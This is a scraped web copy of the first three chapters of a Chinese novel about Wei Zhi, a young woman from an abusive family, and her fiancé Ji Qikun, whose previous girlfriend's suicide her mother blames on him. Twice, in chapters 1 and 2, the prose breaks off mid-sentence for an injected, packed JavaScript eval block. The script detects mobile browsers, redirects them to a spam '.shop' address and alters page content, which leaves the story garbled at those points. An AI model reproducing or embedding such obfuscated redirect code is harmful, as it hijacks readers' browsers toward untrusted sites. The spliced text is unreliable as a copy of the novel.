《海豚沉没时》 1. 第 1 章 红日西坠后的大地,似乎一瞬间就被夜色侵染。林立的小楼里亮着万家灯火,油腻斑驳的纱窗背后,飘出饭菜的香味。孩童的嬉笑声高亢而轻扬,伴随着某一家电视机响亮的声音。 “……为了确保运动员和观众的健康,本届的奥运主办方采取了一系列空气质量改善措施……” 一只布满粗细不一割痕的消瘦手腕,松开天台生锈的栏杆,从黑夜中坠落。 “砰!” 重物从身后落地,正在蓝天小区送外卖的魏芷吓了一跳,透明塑料袋里的小菜汤差点洒了。她一边摆正袋子里歪斜的餐盒,一边疑惑地朝发出声响的地方看去。 一个四分五裂的红陶花盆碎在地上,里面的美人蕉看上去仍很鲜活。 魏芷来不及去后怕那盆花砸在自己头上的后果,绕过楼道正前方的井盖,急匆匆地跑进二号楼,一口气也不敢歇地爬上七楼。 “对不起,让您久等了……” 门一开,魏芷的身体就条件反射地开始鞠躬道歉,她话没说完,对方一把抢过她手中的外卖,不客气地甩上了防盗门。 魏芷还没走出这一栋楼,超时的差评就已经到了她手里。 魏芷一边算着扣掉的钱要再送几单才能弥补回来,一边骑着外卖站租借的小电驴继续在城市的巷道中穿梭。 凌晨一点,魏芷送完手里的最后一个单子,返回到配送站。她熟练地退还电车,脱下头盔和制服放进自己的保管箱里。 站点的管理者在一旁敞着门的小休息室内睡得鼾声震天。 凌晨一点的江都,街上几乎看不见人。只有马路上偶尔蹿过的出租车和电动车制造出一点声响。 从配送站点步行返回魏家要十五分钟。从大路走到小路,再从小路插到巷道,从灯火通明穿到幽深寂静,再来到那低矮楼房中唯一亮灯的一处,魏家就到了。 王琳坐在一把藤编的扶手椅上,用柜台上待售的两瓶可乐充当支架,正心不在焉地看剧。 听见脚步声从远处响起,她立即暂停播放,走到小小的杂货铺外张望。 当魏芷的身影从昏暗的夜色中出现后,王琳眼中的担忧就像悬在空中的东西忽然落了地,化为宽心和另一种忧虑。 “小芷,吃晚饭没有?要不要妈妈给你煮面?” “公司里吃过了。”魏芷的目光扫过那张还残留着王琳体温的藤椅和暂停播放的手机,内心忽然升起的烦躁让这间堆满粮油米面和杂货的逼仄店面更加沉闷。“还有两个无业游民是死了吗,为什么每天都让你通宵守店?难道不知道你还生着病吗?” 她的怨恨和怒气随着刻薄的话语一起溢出。 “别这么说,你爸爸那个人我也不指望他,你弟弟最近忙着找工作。反正没人的时候我就在休息,不碍事的。”王琳迟疑了一下,在质疑自己说出的话和继续规劝魏芷之间,选择了转移话题。 “你真的不饿吗?”她小心翼翼地朝魏芷笑道,“妈白天炒了杂酱,给你做杂酱面。” 魏芷强行按压下胸中那股沸腾的,似乎想要破胸而出的东西,扔下冰冷的“不吃”两个字,穿过杂货堆积,只剩下可供一人通行的甬道,打开漏风的木门进入杂货铺后面的生活区域。 这间不足八十平的一楼住宅,在魏杉二十六年前用毕生积蓄买下它的时候,原本是两室一厅的格局,那时《城市规划法》刚施行不久,总有方法钻漏洞,魏杉把客厅临街那一面的墙给敲掉,改造成一个可以对外营业的小杂货铺,另外两室,一间用作夫妻两人的主卧,一间留给他们即将出生的儿子。 只可惜,出生的是魏芷。 九零年的江都不光违建容易,上户口也容易,魏杉想用五百块把她卖给一个四十岁还没娶上媳妇的老光棍,是王琳以死相逼才把她留下。 女孩不行啊。 女孩不能传宗接代。 女孩会让魏家断香火的。 上户口的时候,魏芷差点成了魏招娣,也是王琳反复哀求,说招娣难听,改成“芷”吧,音同“止”。也是同样的意思。 于是魏芷才会是魏芷。 魏芷常常在想,如果她也像魏杉那样,对一个人非爱即恨就好了。究竟要如何做,一颗心才会泾渭分明,不被爱恨来回拉扯。 洗澡、擦脸、吃药。 眨眼、呼吸。 一切都充斥着疲惫。 躺上床的时候,魏芷的身体才像终于明白一天的工作已经结束一样,潮涌一般的无力灌满她的四肢百骸。 她仰望着头上的那扇纱窗。 蚊虫在月光下飞舞,试图找到一个在岁月磋磨下变得松弛的孔洞侵入。 一米二的阳台,白天是晾晒衣服的地方,到了晚上放下折叠床就是她的房间,房间两头是两扇永远关着的门,此起彼伏的鼾声分别从门里传出。 在她出生后的第二年,她的弟弟也出生了。魏杉高举着带把的儿子,脸涨得通红,笑逐颜开地叫他:“魏来,魏来,我是你爸爸啊。” 而她直到上小学,才知道不是每一个有弟弟的姐姐,都没有自己的房间——如果那个一米二的阳台不算真正的房间的话。 她的物品挤在五颜六色的廉价收纳盒里,而她被困在一张六十块钱的折叠床上。 她凝视着那拼了命也想要钻进囚笼的蚊虫,低声说道。 “……白痴。” …… 五个小时后,枕头下的闹钟响起,魏芷关掉手机起床,闻到了空气中飘散的豆浆香气。 今天早上的餐桌格外整齐,除了还在守着店铺的王琳以外,连一向要睡到日上三竿的魏杉和魏来也早起了。 魏杉是因为今天约了早麻将,魏来则是因为魏杉不乐意有人起得比他晚。 “这才几点啊……非要我起床,我根本吃不下。”魏来睡眼惺忪地坐在餐桌前抱怨。 “都七点了,还不起床!你早点起来,多出去投几份简历,说不定就被选上了。” “现在是互联网时代了,谁还投纸质简历?”魏来不服气地嘀咕道。 “投了总比没投好!” 魏杉拿着煮鸡蛋,在磨得光滑圆润的桌角敲了又敲,直到整个鸡蛋都布满裂纹,他才用打麻将打出厚茧的手指一股脑剥去鸡蛋外壳。 白嫩的鸡蛋衬得他的手指更加皲裂蜡黄。 魏杉忽然扭头,和颜悦色地看着魏芷:“女啊,下个月爸爸就要过五十大寿了,你想过给爸爸送什么礼物没有?” “魏来送什么?” “他送什么是他的事,你想好送什么没?”唯有这种时候,魏杉听不出她声音里的不耐烦和冷漠,眼中闪着贪婪的光,仍笑着说:“我前几天去金店看到一个金手链,那可真气派啊,恰好镶嵌的又是个貔貅。你买那个送老爸,辟邪又招财,正好去去我这几年的霉气!” “你要去的岂止是这几年的霉气?”魏芷生生咽下这句话,因为她知道这话一开口,她今天上班必定迟到。 她大口喝完杯子里最后的豆浆,拿起LV包起身往外走去。 “没钱。” “你这是什么态度?!” 魏杉起身追到玄关,险些被关回来的木门砸歪鼻梁。 他恼怒地扯长脖子,对着魏芷的背影高声道: “别以为你现在长大了翅膀硬了,我告诉你,就算你飞上天了,我也依旧是你爹!不就是一串手链吗,也能把你急成那样?目光短浅!等我发达了,有你后悔的时候!” “当初就不该让你去读那个什么大学!越读越回去了,简直忘记了孝这个字怎么写!” 魏芷没有回头,大步走出了杂货铺。 视野一开阔,就连空气好像也清新了起来。她努力调整好自己的情绪,快步朝公交站走去。 天堂在头顶,地狱在脚下,而她不活不死的地方,叫人间。 从魏家到上班的地方,坐车要坐半个小时。魏芷上车的时候,车上正好有一个双人座位靠窗的那边空着,旁边坐着一个玩手机的上班族。 魏芷一边庆幸一边赶在别人的屁股降落之前先占据了空位。 两个正在朝这里挤来的大爷大妈只能悻悻转身,而被魏芷撞到膝盖的上班族则抬头看了她一眼。 魏芷低声道歉后,对方又低下了头。 坐好后,她本想随意刷个朋友圈,却发现第一条就是魏杉新发的消息。 “俗话说女儿是爸爸的贴心小棉袄,而我的女儿良心被狗吃了,怪不得最近老是胸闷气短,都是被孩子气的。” 配图是一板吃了一半的止痛药。 魏芷冷笑着在下面回复:“就是被你吃的。” 她知道很快会有夺命连环call,果断在那之前先拉黑了魏杉的电话和微信。 她决定不再看手机添堵,转头望向窗外。 公交车在行驶过程中轻轻摇晃着,后排不知哪儿有两个中年男人正大声讲话,声音从车尾荡到车头,似乎要让整车人都一齐加入进来。他们从今年奥运会破纪录的高温,到激烈进行的美国大选,再谈到本省的经济政策,越聊越慷慨激昂。 而离魏芷更近的谈话,是身后两个中年女人的窃窃私语: “又跳楼死了一个……” “现在的年轻人越来越脆弱了。” 空气中漂浮着唾沫星子、汗臭、偏见、沉默和无奈。 今年的江都市已经有一半的公交车都替换为新能源空调车,但魏芷乘坐的路线依然是老式的公交车,只能靠开窗透气减少一些闷热。她将车窗猛地推到最大,既让凉风迎面吹拂,也将车内的喧嚣扔在脑后。 魏芷以前也想过死,但那是很早以前的事了。现在的她虽然也寸步难行,但她已看到了希望。 带着燥热夏意的轻风吹乱了她的长发,魏芷伸手将其别到耳后。 铂金的订婚戒指在她的中指上熠熠生辉。 …… “这是我女儿的手账,写着今年冬天要去学滑雪——” “这是下个周的画展门票,我女儿买了就说明一定会去看——” “这是我女儿买的新裙子,我昨天才收到快递——” “我女儿还资助贫困生,她最热心善良了,这样的人——怎么可能自杀呢?” 翁秀越穿着一丝不苟的西装半身裙,脸上画着干练简洁的妆容,正将小心装在文件袋里的“证据”一样一样拿出来解释给办案的民警听。 她虽然竭力保持镇定,但那些东西正在她手中轻微颤抖。 “民警同志,你看,这很明显吧,我女儿不可能自杀的,你们一定要查清事实真相才行。” 虽然知道翁秀越带来的东西无法改变什么,负责此案的民警老吴还是耐着性子看完了。这大概是因为他也有一个同龄的女儿。 “翁女士,不能立案的原因我们之前也跟你说过了,在这次事件中,你女儿是以自己的意志跳下楼的,刑事技术室没有在天台找到任何能证明存在被迫的痕迹。那天没有下雨,足迹很清晰,以季琪琨和你女儿的距离,他是完全没有机会作案的。” 老吴顿了顿,还是没忍住说道: “而且——你女儿有自残的习惯。”这一个证据,比翁秀越带来的所有证据加起来都要强力。 你以前不知道吗?他到底把这句话咽下了。 尽管他咽下了那句指责的话没有开口,翁秀越却像是知道他后面未完的话一样,脸色陡然苍白。 即使如此,翁秀越依旧逼视着老吴,她生命中的所有力量好像都在这一刻凝聚在眼中,宛如熊熊烈焰的燃烧。 “她是被人逼的……我女儿从前不这样的,是和季琪琨在一起之后才变了。你们不是都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528725|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道吗,要不是季琪琨,我女儿不会自残,更不会跳楼自杀!他活活逼死了一个人,难道就这样逍遥法外了吗?!” “……事情就是这样的,根据我们各方面的调查,梅满的确是死于自杀。”老吴避开她的目光和尖锐的问题,说道,“季琪琨那边同意人道主义赔偿,我们今天也叫了他过来,具体的赔偿金你们可以自己协商,如果还不行就上法院——” “我不要赔偿!” 翁秀越的尖叫撕裂了她冷静的面庞,打断了老吴的话。 她喘着粗气,像是肺叶上压了一块秤砣,妆容下满是血丝的双眼从老吴脸上,转移到刚刚踏进派出所大门的季琪琨身上。 季琪琨也发现了她的存在,毫不犹豫地朝她走来。 因为前车之鉴,立即有两个年轻警员自觉站了过来,随时提防着意外的发生。 季琪琨几天未刮的下巴上冒着青色胡茬。他不顾年轻警员的暗示,继续往前直到走到翁秀越面前。 他泛红的眼中露着悲痛,哽咽道:“对不起,阿姨,都是我的错……不管是坐牢还是赔偿,你说了算。” 翁秀越忽然爆发出强大的力量,张开五指就要朝季琪琨扑去。两名年轻警员连忙阻拦,老吴也忙着一边安抚,一边警告。 翁秀越带来证明女儿不会自杀的东西,雪花一般从空中坠落,凌乱地混杂在一起。 小小的派出所乱成一团。 还是个见习民警的张开阳不够格直接参与其中,只能蹲下身子,捡起地上的门票等物。 梅满的新裙子是黄色的,有着向日葵印花,正是适合夏天。但张开阳跟着老吴一起走访的时候,听说近一年的梅满都没有穿过颜色鲜艳的衣服了。 落在地上正好翻开的手账那一页,贴着梅满自己比“耶”的大头贴,旁边用彩色笔写着“我考上大学了!”,轻快的笔迹再现着那时的心情,张开阳仿佛能看到一个开朗明媚的女孩。 而不是停尸房里那具几经努力才复原面部的尸体。 她刚刚才大学毕业。 美好的人生还没彻底展开,就已经终结了。 “是他逼死了我女儿,你们都知道的啊!”失独母亲混杂着绝望和愤怒的声音,以一种不知是怒吼还是嚎哭的方式,响彻在派出所压抑的空气中。 翁秀越用大半生努力维持的体面,随着泪水的夺眶,同眼线和粉底一起融化了。 就连正在做口供的老油条们,也情不自禁地停下了口述,好像在这时打破脆弱的寂静,是一种罪大恶极的事。 张开阳拿着捡起来的东西站起身时,空气重新开始流动。他将整理好的东西双手递给翁秀越,她没接,颤抖的泪眼直直地瞪着季琪琨。 后者朝她露出一个微笑。 装腔作势的泪水还停留在眼中,冷冰冰的恶意却已充盈那双弯弯的笑眼,他的每一寸皮肤,就连森白的牙齿,都在透露一种得意。 “阿姨,你想怪我就怪我吧,只要这样能让你好过一点……” 那张恶魔的面孔,说出与之截然相反的善良话语。 这一次,翁秀越短暂地冲破了封锁,她想抓破他的喉咙,扯出他的气管,咬碎他的心脏,但紧随其后拦来的数双手,让她只是指甲划破了他的脖子。 …… 魏芷站在装修前卫时尚的画廊门口,没有立即进门,而是先走进了隔壁的便利店。 店里冷气充足,她轻车熟路地来到最里面的“临期打折区”,扫了两眼之后,拿了一盒昨天已经过期的纯牛奶。 结完账,她乘电梯来到画廊二楼的办公区。 魏芷的办公室在财务部,她带着笑脸走进财务部,和已经来了的同事们打完招呼。 不痛不痒地寒暄几句后,她把包留在工位上,拿着那盒过期牛奶走到员工休息区,换成一杯装在咖啡杯里的温热牛奶后,才缓缓走向二楼走廊最深处的艺术总监办公室。 “季总,是我。” 她轻言细语后,门内传来一个低沉磁性的声音。 “进来。” 她推门走进,没有端杯子的那只手,反手关上了门扉。 季琪琨靠在沙发椅上,右手拿着行政部今天更新的本地报纸,一身带有金属光泽的浅灰色西服套装,修长的腿交叠在一起,一双黑色的皮鞋纤尘不染。 她把牛奶杯递给他的时候,他没有接过杯子,而是握住了她的手腕,将她拉到了他的腿上坐下。 魏芷连忙护住险些倾洒出来的牛奶。 他一边吻她,一边拿过她手里的咖啡杯放到茶几上。 魏芷的呼吸渐渐急促,空下来的右手抚上他的脖颈,忽然听到他“嘶”了一声。 “怎么啦?”她连忙问道。 “……前两天和你打壁球的时候,被球打到了。”季琪琨把衣领稍微提了一些起来,转而双手环住魏芷的腰。 “时间过得真快啊,一眨眼,我们已经交往一年了。” “再一眨眼,我们就要结婚了。”魏芷抬起他的下巴,迎上他黝黑的眼珠,接着说道。 “我迫不及待想象那会有多幸福了。”他说。 季琪琨配合她抬起下巴,似笑非笑地看着她。这就像是小猫咪伸懒腰时伸出的利爪一样,是被允许的挑衅。 他不禁想起第一次为她心动的情景。 她坐在工位前似乎正为什么迟疑,他推开财务部玻璃门的那一瞬间,她难掩慌乱地抬起了头,微微睁大的纯净眼眸,迅速松开又马上紧抿起来的嘴唇,白皙而光滑的皮肤,那种脆弱又坚强的美丽,在那身俭朴平凡的衣着下,也难掩其光芒。 不,不如说,更加耀眼。 他听到血管中的血液在叫嚣。 一只被雨水沾湿,却又努力振动翅膀的蝴蝶。 让人迫不及待想要撕下她的羽翼。 2. 第 2 章 “魏芷,你弟弟来找你。在画廊门口呢。” 下午三点,魏芷正在工位上做本季度的税务报告,出纳小蔡端着一杯星巴克走了进来。 “我弟弟?”魏芷诧异地抬起头。 “对啊。”小蔡的工位就在魏芷隔壁,她一屁股坐到转椅上,热咖啡往桌上一放,漫不经心地说,“反正他说是你弟弟,跟你挺像的。” “好,谢谢。” 魏芷退出财务系统,拿起手机往楼下走去。 “……穷酸样挺像的。”小蔡细若蚊吟。 库存会计听到了,在小蔡对面偷笑。 小蔡的目光追随着魏芷的背影,从她单品价格不超过一百的卡其色衬衫外套到浅色条纹阔腿裤,最后到魏芷工位上的LV挎包。 小蔡的嘴角向上一扬,再向下一撇,喉咙里发出一声轻蔑的嗤笑。 坐在小蔡对面的库存会计偷笑道:“怎么,羡慕人家攀高枝?” “我脚踏实地赚钱,羡慕她干什么?羡慕她背假货?”小蔡嘀咕一声,“爱慕虚荣,拜金女。” “赌不赌?等会她肯定拿了包就早退。”库存会计低声说。 “未来的老板夫人还会亲自回来拿包?你想多了,一定是老板亲自来拿。”小蔡不屑道。 财务经理在一道玻璃门隔出来的单独空间里办公,他听到了全程议论,但他从不制止。制止对他没好处,不制止还能听个乐。偶尔,他也要端着咖啡杯倚着玻璃门而站,说几句听不出具体立场的话来打入集体。 在不涉及个人利益的前提下,谁也不得罪,是他这样大部分的中层管理在职场的生存之道。 画廊大门前,魏芷正在劝魏来回家。 “你没事跑这儿来干嘛?我不是跟你说了不要来工作地方找我?” “我又不是来找你的,我是来找姐夫的,你管我!” “他在工作,没空见你。” “你放屁,我早就跟姐夫打电话了,姐夫说他忙完手里的事情就下来。” “你还给他打电话——” 出现在画廊电梯里的季琪琨中断了魏芷的发火,她连忙笑了起来,目光迎接着他走到两人面前。 “姐夫!”魏来先响亮地喊了出来,一脚跨到了季琪琨身边。 “你怎么……”魏芷看见他手里提的东西,愣了一下。 “魏来说他的手机太卡了,我们去给他看个新的。”季琪琨说。 “……要不你们去吧,我下班了再来找你们。”她试探地说。 “一起去。”季琪琨低声说完,转头对魏来笑道,“你和姐姐在这等我开车出来。” “还是姐夫爽快!姐夫万岁!”魏来捏着拳头挥舞。 季琪琨轻轻一笑,转身往车库走去。 根本没有魏芷插话的余地。 魏来崇拜地望着季琪琨颀长笔直的背影:“……幸好姐夫眼神不好看上了你,他可是我们全家人的希望啊。” 魏芷没搭他的话,季琪琨走后,她就当身边杵了个恶心的人形站牌。 等那辆纯黑色的添越开出来后,魏来不着痕迹地挤开魏芷,抢先上了副驾。 等三人到了手机专卖店林立的麒麟广场,魏来先是一头扎进了苹果专卖店,一进门就放话要看“最贵最好的机型”,挑来选去半天,却又觉得今年的苹果新款提升不大。最后在隔壁的华为买了新上市的旗舰机型。 最贵的手机,最贵的耳机,最贵的膜,最贵的壳—— 魏来的要求一个接着一个,季琪琨全都微笑着满足了。 “他想要的太多了,你不用都给他买。”魏芷忐忑道。 “没事。”季琪琨风淡云轻地笑着,冲魏来点了点头,“用着顺手吗?” “顺手!太顺手了!谢谢姐夫!”魏来整张脸都写着兴奋,拿着刚拆盒的手机爱不释手。 季琪琨看了看时间,说:“差不多到饭点了,和我们一起吃晚饭吧?” “诶!我可不是那种不识趣的人,姐夫和姐姐慢慢享受二人世界吧,小弟我就先撤了!”魏来拿着新手机,双手合十,再次对季琪琨说,“多谢了,姐夫!” 他转身跑了两步,忽然想起什么,转身又喊道:“对了,我爸说这个周日,请你在我家吃饭!一定要来啊!” 魏来再次跑走后,魏芷对季琪琨说:“……对不起。” “没什么,你的家人就是我的家人。只要他们对你好就行。”季琪琨笑道,“晚上想吃什么?” …… 一个小小的纸箱里,装着梅满跳楼后一度被警方拿去的遗物。这个纸箱是张开阳交到翁秀越手里的,现在又被推回到他面前。 他是所里最无足轻重的一个,所以被派来安抚死者家属的情绪。 “死者家属”,而不是“受害者家属”。 “不予立案”,是他们最终的回答。 翁秀越拿着一个巴掌大的苹果手机,向张开阳展示那些他已经看过的聊天记录,翻到最后一条消息,季琪琨的回复冰冷而简洁。 “我不会放过你。” 翁秀越一手拿着手机,一手按在桌上,目光迫切地看着他,满眼满脸都是不可置信和无法理解。 “我不明白,警官。为什么这都不算证据?” 她是一个讲求体面的人,张开阳在这段时间的接触下已经知道。与最常见的那种被悲伤击溃,无暇关注外表的死者家属不同,她的每一次露面,都是干练的服装和简约优雅的妆容。这或许和她在大型房地产公司担任销售组长有关。 一个只有高中学历的单亲妈妈,能走到这一步,可以想象经历了多少风雨。 张开阳的心隐隐作痛,可他能做的并不多。 “翁阿姨,梅满的事情,根据我们的调查确实不属于刑事案件。如果你还有异议,可以向法院起诉。”在翁秀越变色之前,张开阳继续说道,“我前两天咨询了一个律师朋友,他建议你以‘虐待罪’起诉。” “虐待罪?”翁秀越一愣。 张开阳解释道:“根据《中华人民共和国刑法》第二百六十条规定,对共同生活的家庭成员实施□□和精神上的摧残、折磨,情节恶劣的,就构成虐待罪。梅满和季琪琨虽然不是严格意义上的家庭成员,但两人在校期间长期同居,和事实家庭成员差不多。” “如果照这个方向去打官司,是有可能虐待罪名成立的。”张开阳诚恳道,“不过,我也说了,他们俩严格来说还不是家庭成员,所以具体能不能应用这条法规,还是要看法官的看法。” 翁秀越迟疑了,露出犹豫的表情。 “翁阿姨,你看到我的警号了吧?我不会骗你的。”张开阳挺起胸膛,一脸真诚。 “起诉……要怎么做?”翁秀越终于出声。 张开阳振奋起来,给她耐心地讲解了起诉的过程,最后又说:“如果不知道怎么写起诉书,你可以来问我。我大多数时候都有空。不过,像梅满的案子,最好还是请个律师。” 翁秀越看着眼神里全是真挚,还主动提出帮忙写起诉书的张开阳,打消了派出所只是想推脱责任的怀疑。 “……谢谢,我会的。”翁秀越站起身来,双手去抱装着梅满遗物的小纸箱。 “我来吧,我送你到门口。”张开阳咧嘴笑道。 翁秀越沉默着收回手。 张开阳抱着小纸箱走到派出所门外,小心地将纸箱交接给翁秀越。同时又让她留在原地等一下,飞快地进了派出所的玻璃门,过了一会,又小跑了出来。 “翁阿姨,这是我个人的电话。如果你后续有什么想咨询的,也可以给我打电话——当然,直接来派出所也行,毕竟我还只是见习警员,我的师父经验更丰富。”他笑道。 “……谢谢。”翁秀越再一次说道。 看着翁秀越抱着纸箱坐上出租,张开阳才转身回到派出所里。 老陈正在为一起打架斗殴做调节,与众不同的是,打人的是一个十二岁的少年,估计是古惑仔看多了,嫌前面的两个女大学生走慢了,堵了他的道,上去就是一脚。 “……那我们也只能调解嘛,他不道歉我也不能把他抓进去坐牢啊。”老陈焦头烂额地打着电话,看见走来的张开阳,摆了摆手让他等着。 十几分钟后,老陈被一顿臭骂“吃白饭的税金小偷”后挂了电话。 他臭着脸看向张开阳:“送走了?” “走了。”张开阳老实汇报,“我建议她找律师,以‘虐待罪’的罪名去起诉。” “搞不了,又不是家庭成员。婚都没结,同什么居。”老陈嘀咕。 “……总不能什么都不做。”张开阳低声说。 老陈一眼就知道他在想什么。这种刚出社会的小年轻,他能不知道对方在想什么吗?谁没年轻过? “可怜的人多着呢,我跟你说,你要是受不了就去转行做慈善。”老陈不客气地说,“警察行动的唯一根据只有法律。连法律都分不清楚的是非对错,你凭什么觉得自己能明断是非?” 张开阳承认师父说的对,但他就是觉得很颓败。他必须做点什么,来证明自己这身警服没有白穿。 是夜。 魏芷利用下班之后的六个小时送完外卖后,一天的工作才算正式结束。 大多数时候,她都睡得不太安稳,一晚会做好几个破碎的梦。 魏来不知道。 她一梦暂醒,耳边隐约传来窸窣翻找的声音。她剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528726|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的睡意登时不见,在昏暗的夜色中睁开眼,看见的就是魏来正蹲在折叠床前方的地上,打着手机电筒翻找她的首饰盒。 “你在干什么?”魏芷猛地坐起,声音又冷又硬。 魏来被冷不丁地吓了一跳,一屁股跌坐在地上。等他看清是魏芷醒了,他的脸上浮现出一种不屑和尴尬的混合表情。 “借我五百,我要出去吃宵夜。”他说,“我没在你包里看见现金。” “你还翻了我的包?”魏芷脸色更加难看,“滚,我没钱。” “你还没钱?你找了个那么有钱的男人,借五百给我吃个宵夜怎么了?”魏来瞪大眼睛,反而质问起来。 “没钱。”魏芷重复道。 她走下床,不耐烦地推开魏来,把拉开的首饰盒重新放回塑料收纳箱。 “我都答应朋友出去吃宵夜了,你今天必须给我五百!你要没钱就把那个金吊坠给我。”魏来急了,伸手抢夺。 “滚!”魏芷护着首饰盒。 魏来用上蛮力想要硬抢,魏芷抢不赢,抬手就给了一巴掌。 “魏来,你别太过分了!” “你还敢打我?!” 魏来扑了过来,不过目标已经不是首饰盒。魏芷不是会单方面挨打的主,打不打得赢是一回事,打不打又是另一回事。 魏芷的头撞到了塑料收纳箱上,她一声不吭,魏来被一脚踹档,杀猪一般嚎叫起来。 头顶的灯猛地亮了。 本来在前面守店的王琳,也顾不上看店了,连忙过来试图分开两人:“小芷,小来,你们怎么又打上了,别打了——别打了!” 睡得跟死猪一样的魏杉也被吵醒了,他穿着一件洗得松松垮垮的老式白背心推开房门,一声怒吼:“都住手!” 魏来犹豫了,魏芷没犹豫,结结实实地一巴掌甩到魏来脸上。 在魏来再次发怒之前,魏芷飞快地站了起来。魏来想要追上来还手,被魏杉一声大喝制止。 “大半夜的不睡觉,你们发什么疯!”魏杉怒声道。 “他半夜起来偷我的钱。”魏芷说。 “我说了是借!” “你拿命来还?” “你——” “够了!”魏杉再次大吼一声,两人都安静了下来。 “魏来不该偷姐姐的钱,”魏杉挺起啤酒肚,摆出青天大老爷的样子开始判案,“魏芷你这个做姐姐的也不对,上班挣钱了,就该给还没上班的弟弟发点零用钱,一点都不懂事。你要是一开始主动给了零花钱,弟弟会找你借钱吗?” 魏来得意洋洋地看着她。 魏芷不说话,眼睛望着别处,喉咙里发出一声冷笑。 王琳低声道:“小来,你不经同意就翻姐姐的东西,确实做得不对……” “你懂什么?这里有你说话的地方吗?”魏杉一脸烦躁地看向王琳,“你就是偏心魏芷,所以她才变得那么自私!” “你有什么冲我来,她生着病还要帮你看店已经够累了!”魏芷说。 “你还来劲了!”魏杉吹胡子瞪眼道,“什么叫帮我看店,们两个是吃空气长大的?要是你没读大学早点出去工作,你妈哪会这么累?” “别说了,别说了……我一点都不累!”王琳皱着眉头,衰老的面庞和粗糙的双手一起摆动。 比起魏杉和魏来,每次更能击溃魏芷的,都是王琳。 魏芷坐回折叠床,双手抱头,十指深深插入发间,将视野锁在脚下的一亩三分。 “我要睡了,你们还不走,今晚就都别睡了。”她压抑着情感,低声说。 王琳轻轻推着魏杉和魏来,小声劝他们回房休息。 “找了个有钱人,脾气是越来越大了……”魏杉嘀咕着,身体还是顺从地往自己的房间走去。 “那可不是,人家以后就是富太太了,哪能跟我们平起平坐……”魏来阴阳怪气道。 两扇不同方向的房门相继关上,空气又静了下来。 王琳的双脚停在魏芷身前,那只粗糙干裂的手,小心翼翼地落在她的肩上。 “别碰我!”魏芷暴躁地甩肩,抖开王琳的触碰。 过了一会,她才听到王琳低声的,似乎带着哽咽的呢喃。 “再忍一忍……只要嫁出去,就好了。” 那双穿着地摊上十五块两双的廉价凉拖鞋的脚转身离开了。 又过了一会,通往杂货铺的那扇门也重新关上了。 魏芷咽下即将冲破喉咙的哭声,将那些混沌的,粘稠的,沉重的情感,用力地塞回胸口。她的双手在发间颤抖,她收紧十指,忽然感到一阵湿润。 她将手伸到眼前,右手的食指和中指上沾着血迹。 3. 第 3 章 “魏芷,这份文件需要总监签字,我这里走不开,能不能麻烦你跑一下?” 第二天早上,魏芷刚到办公室不久,对面的出纳就拿了一份文件过来托她跑腿。 “呀,你这额头上怎么了?”出纳惊讶地出声,手指也跟着伸向魏芷的额头。 隔壁的小蔡和玻璃门后的财务经理都抬起了头。 魏芷头一偏,躲过了出纳的手,笑道:“没什么,拿东西没注意,撞到柜子了。” “啊,这样啊。那这份文件?” “我帮你送吧。” 魏芷接过那份文件,起身走出了财务办公室。 洗手间里,她对着镜子犹豫了一会,然后把放下的头发拉到额角的伤口前,先完全遮住,再小心地拨开一些。 整理完毕,她拿着文件走向总监办公室。 “季总。” 她在门前轻轻敲门,等到里面传来季琪琨的声音后,她才开门走了进去。 进门后,她还是反手关上了门。 “季总,这是出纳那边的一份文件,需要您的签字。” “嗯。”季琪琨接过文件,一边看一边说,“没有外人的时候,不用叫我季总。” “……好。” “怎么今天情绪不高?”季琪琨含笑抬起头,没过两眼脸上的笑容就消失了,“你受伤了?” 他站起身,不等魏芷回答就拨开了她的头发。 一道三厘米左右的伤痕半露在她的额角,虽然不算严重,但看着就很疼。 “这是怎么弄的?”季琪琨问。 “……送外卖的时候,不小心摔的。” “别骗我。”季琪琨看着她的眼睛,“是和家里人吵架了?魏来?” 魏芷的沉默已经是一种回答。 季琪琨叹了口气,牵起她的手往办公室外走去。 “我们去哪儿?” “去药店。”季琪琨头也不回地说,“一看你就没给自己上药。” “等下班之后吧……” “等不了。” 季琪琨强硬地拉着魏芷往外走,也不在乎途径了多少个办公室。 离画廊不远就是一个小药店。季琪琨在那里买了一些处理外伤的药品,在街边的长椅上,给魏芷用沾了碘酒的棉签轻轻涂抹她的伤口。 “你弟弟也下得了手。你父母不管吗?”季琪琨问。 “……” “大不了搬出来和我一起住。”他捧起她的脸,认真地说,“只有我不会伤害你,因为我是世界上最爱你的人。你知道吗?” 魏芷点了点头,柔顺光泽的黑发从肩上滑落,一如她乖顺的姿态。 季琪琨满意地笑了。 两人回到画廊二楼后,魏芷让季琪琨先回办公室,她中途返回财务办公室,从自己的工位上拿了点东西,然后再次前往总监办公室。 季琪琨已经在桌前把文件签好了,刚要把文件递给她,看见她手里拿的东西,脸上露出无奈又惊喜的笑容。 “这是……” “给你的。”魏芷不好意思地把装满彩色幸运星的星星玻璃瓶递给他,“……你会不会觉得很幼稚?” “不会啊,这是你的心意。”季琪琨笑着接过玻璃瓶,“我高兴还来不及。你一定折了很久吧?” “每天晚上睡觉之前折几个,折了快一个月。主要是我折得太慢了。” “怎么想到要折这个?” “就是想谢谢你……各种。”魏芷说。 季琪琨轻轻一笑,小心翼翼地把玻璃瓶放回抽屉里。 “你的心意我收到了,等下班就带回去好好放起来。” …… 